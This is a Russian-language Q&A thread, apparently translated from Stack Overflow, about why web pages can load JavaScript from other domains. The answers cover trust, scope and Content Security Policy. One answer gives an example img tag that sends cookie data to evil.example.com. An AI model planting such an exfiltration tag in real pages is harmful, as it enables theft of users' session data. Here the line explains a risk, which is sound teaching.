Почему мы можем ссылаться на файлы js в другом домене? - PullRequest
5 голосов
/ 15 января 2010

Почему, когда мы ссылаемся на файл javascript на x.com с сайта y.com (например, Google Analytics или JQuery), это не вызывает проблем с междоменной безопасностью?

Например:

в y.com/index.html у нас есть:

<script type="text/javascript" src="http://x.com/jsfile.js" />

Как мы можем знать, когда это нормально, а когда нет?

Ответы [ 3 ]

7 голосов
/ 15 января 2010

Это может стать серьезной дырой в безопасности, поэтому вы должны доверять тому сайту, на котором размещен файл JavaScript.

Например, этот код может добавить на ваш сайт больше тегов сценариев и тегов img, которые могут передавать конфиденциальные данные третьим лицам.

Комментарий Дэвида о политике одного и того же происхождения может вводить в заблуждение. Классический способ передачи данных на удаленный сайт - вставить тег img в удаленный домен:

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />

Если код JavaScript на удаленном хосте был изменен для динамического добавления тега img, такого как этот, то ваш сайт может иметь дыру в безопасности. Есть некоторые меры по устранению некоторых из этих проблем, такие как использование файлов cookie только для HTTP, которые недоступны через JavaScript.

Пример систем аналитики - отличный. Вы должны верить, что провайдер не будет принимать какие-либо конфиденциальные данные, такие как ваши собственные куки-файлы, и отправлять их в удаленное местоположение. Вы также должны доверять провайдеру, что их система безопасна и что хакер не может изменить файлы JavaScript на своих серверах. Аналитические системы обычно работают с использованием тех же техник, но, надеюсь, они используют это во благо, а не во зло. В некотором смысле это ничем не отличается от беспокойства о том, пишут ли ваши разработчики хороший, безопасный код и вводят ли они секретный бэкдор.

Что касается , почему это разрешено, это просто историческое. Сеть вообще не была разработана с учетом безопасности. Будь то CSRF-атака, повторная атака или XSS-атака, все это фундаментальные недостатки в дизайне сети, которые теперь становятся проблемой для веб-разработчиков.

3 голосов
/ 15 января 2010

Откуда эти данные не имеют значения, имеет значение область их использования.

Вы только что получили скрипт из другого домена, он все еще работает в области вашей собственной страницы, поэтому у него нет доступа к ресурсам в домене, из которого он был загружен.

В ситуации, когда у вас возникают междоменные проблемы, например, в iframe, содержащем страницу из другого домена, у вас есть две разные области действия. Страница в iframe работает в области домена, из которой она была загружена, поэтому она может получить доступ к ресурсам в этом домене, но не может получить доступ к чему-либо на странице, на которой размещен iframe, поскольку это другая область.

(Примечание: я не знаю, используется ли в данном контексте термин «сфера применения», возможно, существует термин, который лучше его описывает.)

0 голосов
/ 21 сентября 2016

Я не знаю, почему мы можем это сделать. Но вы можете предотвратить это, используя Content Security Policy (CSP), HTTP-заголовок, отправляемый вашим веб-приложением, который заявляет, что он не должен загружать JavaScript, за исключением доменов, которые вы явно разрешаете.

...